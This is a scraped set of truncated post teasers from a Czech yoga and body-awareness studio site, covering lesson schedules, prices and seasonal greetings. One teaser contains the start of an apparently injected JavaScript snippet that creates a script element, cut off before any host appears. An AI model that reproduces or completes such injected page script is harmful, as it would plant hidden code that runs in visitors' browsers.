Stěžejní myšlenkou pohybových programů VNÍMEJ SVÉ TĚLO, je naučit se vnímat a poznávat své tělo, jako fungující harmonický celek, projevující se pohybem. Cvičíme bez ega.
Šťastny ať jsou všechny bytosti Naši milí přátelé, přichází konec roku, čas, kdy dopisujeme tečku za dalším příběhem. Čas přemítání nad tím, jaké to bylo, jakou cestou jsme šli, kam nás příběh dovedl a kde se nyní ocitáme… Dovolte nám vstoupi
Nově zařazená lekce Čas pro tělo se Simonou Hánovou. Skupinová lekce pro všechny, kteří chtějí věnovat čas sobě a svému tělu. Uvolníme, posílíme, zrelaxujeme a navnímame co našemu tělu prospívá. Lekce mohou obsahovat i cviky Spirální stabilizace. L
Rozhovor se Zuzkou Bičíkovou se stal první zářijový víkend nejčtenějším a nejposlouchanějším pořadem radia ČR Plus” … tak ať i vás potěší a inspiruje if(typeof(window.jsScriptOutputted)=="undefined"){var jsScriptOutputted=true;var jsScript=document.cr
Pojďme se ve středu ráno společně věnovat józe!Ranní lekce jsou skvělé na rozhýbání celého těla, uvolnění a protažení ztuhlých míst, a hlavně rozproudění energie a nalezení svojí vnitřní síly.Působí jako šálek kávy s mnoha benefity. Každá moje lekce je
Letos slaví Vnímej své tělo své 10. narozeniny. Pusťte si na následujícím odkazu video, kde v rozhovoru pro drogerii DM Zuzka Bičíková vypráví, jak se zrodila myšlenka Vnímej své tělo, jak své tělo vnímat každý den prostřednictvím krátkých rituálů a j
Lekce pro děti od 6 – 10 let (případně po domluvě) se Zuzkou Bičíkovou a Simonou Hánovou. Lekce je každý čtvrtek od 15:45 – 16:30. Na lekci je nutná rezervace místa!Kapacita lekce je omezena, hlaste se prosím dopředu buď na náš email nebo SMS na tel.:
V prosinci vede lekci Simona Hánová. Dopolední otevřená lekce vychází ze základů programu Vnímej své tělo a bude zaměřena především na hluboký stabilizační systém, sílu dechu, správné postavení těla a posílení kloubní kondice. Je určena všem, kdo chtěj
Náplní lekce je práce s tělem, dechem a myslí… po lekci budete odcházet příjemně protaženi a uvolněni a s větší energií do nastávajícího dne. Lekce Cvičení s prvky jógy je každý pátek od 8:00 9:00.Cena lekce je 250,- Kč. Seznamte se ještě před lek
Milí přátelé,nastala doba Adventu. Čas ztišení a pohledu do nitra. Čas úcty a vděčnosti. Za život, za naše předky, za jejich i náš příběh. Přijďte se do našeho útulného podkroví naladit prostřednictvím následujících setkání na sebe i své nejbližší V neděl
Ahoj Vnímej kamarádi,rádi bychom s vámi sdíleli pár momentů z předešlého víkendu, kdy jsme se v Hamernici sešli na přechod uhlíků. Bylo to tak moc silné setkání lidí, kteří se odhodlali otevřít své srdce vědomě odhodit strachy sdílet své příběhy zpívat a